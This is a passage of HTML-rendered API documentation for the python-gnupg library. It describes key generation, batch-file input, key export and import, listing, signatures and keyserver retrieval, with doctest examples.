href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The hash digest to use. Again, to see which -hashes your GnuPG is capable of using, do: -<strong class="command">$ gpg –with-colons –list-config digestname</strong>. -The default, if unspecified, is <tt class="docutils literal"><span class="pre">'SHA512'</span></tt>.</li> -<li><strong>compress_algo</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The compression algorithm to use. Can be one -of <tt class="docutils literal"><span class="pre">'ZLIB'</span></tt>, <tt class="docutils literal"><span class="pre">'BZIP2'</span></tt>, <tt class="docutils literal"><span class="pre">'ZIP'</span></tt>, or <tt class="docutils literal"><span class="pre">'Uncompressed'</span></tt>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -<div class="admonition seealso"> -<p class="first admonition-title">See also</p> -<p class="last"><a class="reference internal" href="#gnupg._meta.GPGBase._encrypt" title="gnupg._meta.GPGBase._encrypt"><tt class="xref py py-meth docutils literal"><span class="pre">_encrypt()</span></tt></a></p> -</div> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.export_keys"> -<tt class="descname">export_keys</tt><big>(</big><em>keyids</em>, <em>secret=False</em>, <em>subkeys=False</em><big>)</big><a class="headerlink" href="#gnupg.GPG.export_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>Export the indicated <tt class="docutils literal"><span class="pre">keyids</span></tt>.</p> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>keyids</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – A keyid or fingerprint in any format that GnuPG will -accept.</li> -<li><strong>secret</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, export only the secret key.</li> -<li><strong>subkeys</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – If True, export the secret subkeys.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.gen_key"> -<tt class="descname">gen_key</tt><big>(</big><em>input</em><big>)</big><a class="headerlink" href="#gnupg.GPG.gen_key" title="Permalink to this definition">¶</a></dt> -<dd><p>Generate a GnuPG key through batch file key generation. See -<a class="reference internal" href="#gnupg.GPG.gen_key_input" title="gnupg.GPG.gen_key_input"><tt class="xref py py-meth docutils literal"><span class="pre">GPG.gen_key_input()</span></tt></a> for creating the control input.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key_input</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">key_input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">key</span><span class="o">.</span><span class="n">fingerprint</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><strong>input</strong> (<a class="reference external" href="http://docs.python.org/library/stdtypes.html#dict" title="(in Python v2.7)"><em>dict</em></a>) – A dictionary of parameters and values for the new -key.</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">The result mapping with details of the new key, which is a -<a class="reference internal" href="#gnupg._parsers.GenKey" title="gnupg._parsers.GenKey"><tt class="xref py py-class docutils literal"><span class="pre">GenKey</span></tt></a> object.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.gen_key_input"> -<tt class="descname">gen_key_input</tt><big>(</big><em>separate_keyring=False</em>, <em>save_batchfile=False</em>, <em>testing=False</em>, <em>**kwargs</em><big>)</big><a class="headerlink" href="#gnupg.GPG.gen_key_input" title="Permalink to this definition">¶</a></dt> -<dd><p>Generate a batch file for input to <a class="reference internal" href="#gnupg.GPG.gen_key" title="gnupg.GPG.gen_key"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key()</span></tt></a>.</p> -<p>The GnuPG batch file key generation feature allows unattended key -generation by creating a file with special syntax and then providing it -to: <strong class="command">gpg –gen-key –batch</strong>. Batch files look like this:</p> -<div class="line-block"> -<div class="line">Name-Real: Alice</div> -<div class="line">Name-Email: <a class="reference external" href="mailto:alice%40inter.net">alice<span>@</span>inter<span>.</span>net</a></div> -<div class="line">Expire-Date: 2014-04-01</div> -<div class="line">Key-Type: RSA</div> -<div class="line">Key-Length: 4096</div> -<div class="line">Key-Usage: cert</div> -<div class="line">Subkey-Type: RSA</div> -<div class="line">Subkey-Length: 4096</div> -<div class="line">Subkey-Usage: encrypt,sign,auth</div> -<div class="line">Passphrase: sekrit</div> -<div class="line">%pubring foo.gpg</div> -<div class="line">%secring sec.gpg</div> -<div class="line">%commit</div> -</div> -<p>which is what this function creates for you. All of the available, -non-control parameters are detailed below (control parameters are the -ones which begin with a ‘%’). For example, to generate the batch file -example above, use like this:</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="go">GnuPG logging disabled...</span> -<span class="gp">>>> </span><span class="kn">from</span> <span class="nn">__future__</span> <span class="kn">import</span> <span class="n">print_function</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">'doctests'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">alice</span> <span class="o">=</span> <span class="p">{</span> <span class="s">'name_real'</span><span class="p">:</span> <span class="s">'Alice'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'name_email'</span><span class="p">:</span> <span class="s">'alice@inter.net'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'expire_date'</span><span class="p">:</span> <span class="s">'2014-04-01'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'key_type'</span><span class="p">:</span> <span class="s">'RSA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'key_length'</span><span class="p">:</span> <span class="mi">4096</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'key_usage'</span><span class="p">:</span> <span class="s">''</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'subkey_type'</span><span class="p">:</span> <span class="s">'RSA'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'subkey_length'</span><span class="p">:</span> <span class="mi">4096</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'subkey_usage'</span><span class="p">:</span> <span class="s">'encrypt,sign,auth'</span><span class="p">,</span> -<span class="gp">... </span> <span class="s">'passphrase'</span><span class="p">:</span> <span class="s">'sekrit'</span><span class="p">}</span> -<span class="gp">>>> </span><span class="n">alice_input</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">(</span><span class="o">**</span><span class="n">alice</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">print</span><span class="p">(</span><span class="n">alice_input</span><span class="p">)</span> -<span class="go">Key-Type: RSA</span> -<span class="go">Subkey-Type: RSA</span> -<span class="go">Subkey-Usage: encrypt,sign,auth</span> -<span class="go">Expire-Date: 2014-04-01</span> -<span class="go">Passphrase: sekrit</span> -<span class="go">Name-Real: Alice</span> -<span class="go">Name-Email: alice@inter.net</span> -<span class="go">Key-Length: 4096</span> -<span class="go">Subkey-Length: 4096</span> -<span class="go">%pubring ./doctests/alice.pubring.gpg</span> -<span class="go">%secring ./doctests/alice.secring.gpg</span> -<span class="go">%commit</span> - -<span class="gp">>>> </span><span class="n">alice_key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">alice_input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">alice_key</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">alice_key</span><span class="o">.</span><span class="n">fingerprint</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span> -<span class="gp">>>> </span><span class="n">message</span> <span class="o">=</span> <span class="s">"no one else can read my sekrit message"</span> -<span class="gp">>>> </span><span class="n">encrypted</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">message</span><span class="p">,</span> <span class="n">alice_key</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">encrypted</span><span class="o">.</span><span class="n">data</span><span class="p">,</span> <span class="nb">str</span><span class="p">)</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first simple"> -<li><strong>separate_keyring</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Specify for the new key to be written to -a separate pubring.gpg and secring.gpg. If True, -<a class="reference internal" href="#gnupg.GPG.gen_key" title="gnupg.GPG.gen_key"><tt class="xref py py-meth docutils literal"><span class="pre">gen_key()</span></tt></a> will automatically rename the separate -keyring and secring to whatever the fingerprint of the generated -key ends up being, suffixed with ‘.pubring’ and ‘.secring’ -respectively.</li> -<li><strong>save_batchfile</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Save a copy of the generated batch file to -disk in a file named <name_real>.batch, where <name_real> is the -<tt class="docutils literal"><span class="pre">name_real</span></tt> parameter stripped of punctuation, spaces, and -non-ascii characters.</li> -<li><strong>testing</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#bool" title="(in Python v2.7)"><em>bool</em></a>) – Uses a faster, albeit insecure random number -generator to create keys. This should only be used for testing -purposes, for keys which are going to be created and then soon -after destroyed, and never for the generation of actual use keys.</li> -<li><strong>name_real</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The name field of the UID in the generated key.</li> -<li><strong>name_comment</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The comment in the UID of the generated key.</li> -<li><strong>name_email</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The email in the UID of the generated key. -(default: <tt class="docutils literal"><span class="pre">$USER</span></tt> @ <strong class="command">hostname</strong> ) Remember to use UTF-8 -encoding for the entirety of the UID. At least one of -<tt class="docutils literal"><span class="pre">name_real</span></tt>, <tt class="docutils literal"><span class="pre">name_comment</span></tt>, or <tt class="docutils literal"><span class="pre">name_email</span></tt> must be -provided, or else no user ID is created.</li> -<li><strong>key_type</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – One of ‘RSA’, ‘DSA’, ‘ELG-E’, or ‘default’. -(default: ‘RSA’, if using GnuPG v1.x, otherwise ‘default’) Starts -a new parameter block by giving the type of the primary key. The -algorithm must be capable of signing. This is a required -parameter. The algorithm may either be an OpenPGP algorithm number -or a string with the algorithm name. The special value ‘default’ -may be used for algo to create the default key type; in this case -a <tt class="docutils literal"><span class="pre">key_usage</span></tt> should not be given and ‘default’ must also be -used for <tt class="docutils literal"><span class="pre">subkey_type</span></tt>.</li> -<li><strong>key_length</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><em>int</em></a>) – The requested length of the generated key in -bits. (Default: 4096)</li> -<li><strong>key_grip</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – hexstring This is an optional hexidecimal string -which is used to generate a CSR or certificate for an already -existing key. <tt class="docutils literal"><span class="pre">key_length</span></tt> will be ignored if this parameter -is given.</li> -<li><strong>key_usage</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Space or comma delimited string of key -usages. Allowed values are ‘encrypt’, ‘sign’, and ‘auth’. This is -used to generate the key flags. Please make sure that the -algorithm is capable of this usage. Note that OpenPGP requires -that all primary keys are capable of certification, so no matter -what usage is given here, the ‘cert’ flag will be on. If no -‘Key-Usage’ is specified and the ‘Key-Type’ is not ‘default’, all -allowed usages for that particular algorithm are used; if it is -not given but ‘default’ is used the usage will be ‘sign’.</li> -<li><strong>subkey_type</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – This generates a secondary key -(subkey). Currently only one subkey can be handled. See also -<tt class="docutils literal"><span class="pre">key_type</span></tt> above.</li> -<li><strong>subkey_length</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><em>int</em></a>) – The length of the secondary subkey in bits.</li> -<li><strong>subkey_usage</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Key usage for a subkey; similar to -<tt class="docutils literal"><span class="pre">key_usage</span></tt>.</li> -<li><strong>expire_date</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#int" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">int</span></tt></a> or <a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><tt class="xref py py-obj docutils literal"><span class="pre">str</span></tt></a>) – Can be specified as an iso-date or as -<int>[d|w|m|y] Set the expiration date for the key (and the -subkey). It may either be entered in ISO date format (2000-08-15) -or as number of days, weeks, month or years. The special notation -“seconds=N” is also allowed to directly give an Epoch -value. Without a letter days are assumed. Note that there is no -check done on the overflow of the type used by OpenPGP for -timestamps. Thus you better make sure that the given value make -sense. Although OpenPGP works with time intervals, GnuPG uses an -absolute value internally and thus the last year we can represent -is 2105.</li> -<li><strong>creation_date</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Set the creation date of the key as stored -in the key information and which is also part of the fingerprint -calculation. Either a date like “1986-04-26” or a full timestamp -like “19860426T042640” may be used. The time is considered to be -UTC. If it is not given the current time is used.</li> -<li><strong>passphrase</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The passphrase for the new key. The default is -to not use any passphrase. Note that GnuPG>=2.1.x will not allow -you to specify a passphrase for batch key generation – GnuPG will -ignore the <strong>passphrase</strong> parameter, stop, and ask the user for -the new passphrase. However, we can put the command -<tt class="docutils literal"><span class="pre">%no-protection</span></tt> into the batch key generation file to allow a -passwordless key to be created, which can then have its passphrase -set later with <tt class="docutils literal"><span class="pre">--edit-key</span></tt>.</li> -<li><strong>preferences</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Set the cipher, hash, and compression -preference values for this key. This expects the same type of -string as the sub-command ‘setpref’ in the –edit-key menu.</li> -<li><strong>revoker</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Should be given as ‘algo:fpr’ (case sensitive). -Add a designated revoker to the generated key. Algo is the public -key algorithm of the designated revoker (i.e. RSA=1, DSA=17, etc.) -fpr is the fingerprint of the designated revoker. The optional -‘sensitive’ flag marks the designated revoker as sensitive -information. Only v4 keys may be designated revokers.</li> -<li><strong>keyserver</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – This is an optional parameter that specifies the -preferred keyserver URL for the key.</li> -<li><strong>handle</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – This is an optional parameter only used with the -status lines <tt class="docutils literal"><span class="pre">KEY_CREATED</span></tt> and <tt class="docutils literal"><span class="pre">KEY_NOT_CREATED</span></tt>. string may -be up to 100 characters and should not contain spaces. It is -useful for batch key generation to associate a key parameter block -with a status line.</li> -</ul> -</td> -</tr> -<tr class="field-even field"><th class="field-name">Return type:</th><td class="field-body"><p class="first">str</p> -</td> -</tr> -<tr class="field-odd field"><th class="field-name">Returns:</th><td class="field-body"><p class="first last">A suitable input string for the <a class="reference internal" href="#gnupg.GPG.gen_key" title="gnupg.GPG.gen_key"><tt class="xref py py-meth docutils literal"><span class="pre">GPG.gen_key()</span></tt></a> method, -the latter of which will create the new keypair.</p> -</td> -</tr> -</tbody> -</table> -<p>See <a class="reference external" href="http://www.gnupg.org/documentation/manuals/gnupg-devel/Unattended-GPG-key-generation.html">this GnuPG Manual section</a> for more details.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.import_keys"> -<tt class="descname">import_keys</tt><big>(</big><em>key_data</em><big>)</big><a class="headerlink" href="#gnupg.GPG.import_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>Import the key_data into our keyring.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">shutil</span> -<span class="gp">>>> </span><span class="n">shutil</span><span class="o">.</span><span class="n">rmtree</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">inpt</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">key1</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">inpt</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">print1</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">key1</span><span class="o">.</span><span class="n">fingerprint</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">pubkey1</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">export_keys</span><span class="p">(</span><span class="n">print1</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">seckey1</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">export_keys</span><span class="p">(</span><span class="n">print1</span><span class="p">,</span><span class="n">secret</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key2</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">inpt</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">print2</span> <span class="o">=</span> <span class="n">key2</span><span class="o">.</span><span class="n">fingerprint</span> -<span class="gp">>>> </span><span class="n">seckeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">(</span><span class="n">secret</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">pubkeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">()</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">seckeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">pubkeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">delete_keys</span><span class="p">(</span><span class="n">print1</span><span class="p">))</span> -<span class="go">'Must delete secret key first'</span> -<span class="gp">>>> </span><span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">delete_keys</span><span class="p">(</span><span class="n">print1</span><span class="p">,</span><span class="n">secret</span><span class="o">=</span><span class="bp">True</span><span class="p">))</span> -<span class="go">'ok'</span> -<span class="gp">>>> </span><span class="nb">str</span><span class="p">(</span><span class="n">gpg</span><span class="o">.</span><span class="n">delete_keys</span><span class="p">(</span><span class="n">print1</span><span class="p">))</span> -<span class="go">'ok'</span> -<span class="gp">>>> </span><span class="n">pubkeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">()</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">pubkeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="n">result</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">import_keys</span><span class="p">(</span><span class="n">pubkey1</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">pubkeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">seckeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">(</span><span class="n">secret</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="ow">not</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">seckeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">pubkeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="n">result</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">import_keys</span><span class="p">(</span><span class="n">seckey1</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">result</span> -<span class="gp">>>> </span><span class="n">seckeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">(</span><span class="n">secret</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">seckeys</span><span class="o">.</span><span class="n">fingerprints</span> -</pre></div> -</div> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.is_gpg1"> -<tt class="descname">is_gpg1</tt><big>(</big><big>)</big><a class="headerlink" href="#gnupg.GPG.is_gpg1" title="Permalink to this definition">¶</a></dt> -<dd><p>Returns true if using GnuPG <= 1.x.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.is_gpg2"> -<tt class="descname">is_gpg2</tt><big>(</big><big>)</big><a class="headerlink" href="#gnupg.GPG.is_gpg2" title="Permalink to this definition">¶</a></dt> -<dd><p>Returns true if using GnuPG >= 2.x.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.list_keys"> -<tt class="descname">list_keys</tt><big>(</big><em>secret=False</em><big>)</big><a class="headerlink" href="#gnupg.GPG.list_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>List the keys currently in the keyring.</p> -<p>The GnuPG option ‘–show-photos’, according to the GnuPG manual, “does -not work with –with-colons”, but since we can’t rely on all versions -of GnuPG to explicitly handle this correctly, we should probably -include it in the args.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">shutil</span> -<span class="gp">>>> </span><span class="n">shutil</span><span class="o">.</span><span class="n">rmtree</span><span class="p">(</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="nb">input</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">result</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">print1</span> <span class="o">=</span> <span class="n">result</span><span class="o">.</span><span class="n">fingerprint</span> -<span class="gp">>>> </span><span class="n">result</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="nb">input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">print2</span> <span class="o">=</span> <span class="n">result</span><span class="o">.</span><span class="n">fingerprint</span> -<span class="gp">>>> </span><span class="n">pubkeys</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">list_keys</span><span class="p">()</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print1</span> <span class="ow">in</span> <span class="n">pubkeys</span><span class="o">.</span><span class="n">fingerprints</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">print2</span> <span class="ow">in</span> <span class="n">pubkeys</span><span class="o">.</span><span class="n">fingerprints</span> -</pre></div> -</div> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.list_packets"> -<tt class="descname">list_packets</tt><big>(</big><em>raw_data</em><big>)</big><a class="headerlink" href="#gnupg.GPG.list_packets" title="Permalink to this definition">¶</a></dt> -<dd><p>List the packet contents of a file.</p> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.list_sigs"> -<tt class="descname">list_sigs</tt><big>(</big><em>*keyids</em><big>)</big><a class="headerlink" href="#gnupg.GPG.list_sigs" title="Permalink to this definition">¶</a></dt> -<dd><p>Get the signatures for each of the <tt class="docutils literal"><span class="pre">keyids</span></tt>.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="kn">import</span> <span class="nn">gnupg</span> -<span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key_input</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key_input</span><span class="p">()</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">gen_key</span><span class="p">(</span><span class="n">key_input</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">key</span><span class="o">.</span><span class="n">fingerprint</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Return type:</th><td class="field-body">dict</td> -</tr> -<tr class="field-even field"><th class="field-name">Returns:</th><td class="field-body">A dictionary whose keys are the original keyid parameters, -and whose values are lists of signatures.</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.recv_keys"> -<tt class="descname">recv_keys</tt><big>(</big><em>*keyids</em>, <em>**kwargs</em><big>)</big><a class="headerlink" href="#gnupg.GPG.recv_keys" title="Permalink to this definition">¶</a></dt> -<dd><p>Import keys from a keyserver.</p> -<div class="highlight-python"><div class="highlight"><pre><span class="gp">>>> </span><span class="n">gpg</span> <span class="o">=</span> <span class="n">gnupg</span><span class="o">.</span><span class="n">GPG</span><span class="p">(</span><span class="n">homedir</span><span class="o">=</span><span class="s">"doctests"</span><span class="p">)</span> -<span class="gp">>>> </span><span class="n">key</span> <span class="o">=</span> <span class="n">gpg</span><span class="o">.</span><span class="n">recv_keys</span><span class="p">(</span><span class="s">'hkp://pgp.mit.edu'</span><span class="p">,</span> <span class="s">'3FF0DB166A7476EA'</span><span class="p">)</span> -<span class="gp">>>> </span><span class="k">assert</span> <span class="n">key</span> -</pre></div> -</div> -<table class="docutils field-list" frame="void" rules="none"> -<col class="field-name" /> -<col class="field-body" /> -<tbody valign="top"> -<tr class="field-odd field"><th class="field-name">Parameters:</th><td class="field-body"><ul class="first last simple"> -<li><strong>keyids</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – Each <tt class="docutils literal"><span class="pre">keyids</span></tt> argument should be a string -containing a keyid to request.</li> -<li><strong>keyserver</strong> (<a class="reference external" href="http://docs.python.org/library/functions.html#str" title="(in Python v2.7)"><em>str</em></a>) – The keyserver to request the <tt class="docutils literal"><span class="pre">keyids</span></tt> from; -defaults to <cite>gnupg.GPG.keyserver</cite>.</li> -</ul> -</td> -</tr> -</tbody> -</table> -</dd></dl> - -<dl class="method"> -<dt id="gnupg.GPG.sign"> -<tt class="descname">sign</tt><big>(</big><em>data</em>, <em>**kwargs</em><big>)</big><a class="headerlink" href="#gnupg.GPG.sign" title="Permalink to this definition">¶</a></dt> -<dd><p>Create a signature for a message string or file.</p> -<p>Note that this method is not for signing other keys. (In GnuPG’s -terms, what we all usually call ‘keysigning’ is actually termed -‘certification’...) Even though they are cryptographically the same -operation, GnuPG differentiates between them, presumedly because these -operations are also the same as the decryption operation. If the -<tt class="docutils literal"><span class="pre">key_usage``s</span> <span class="pre">``C</span> <span class="pre">(certification)</span></tt>, <tt class="docutils 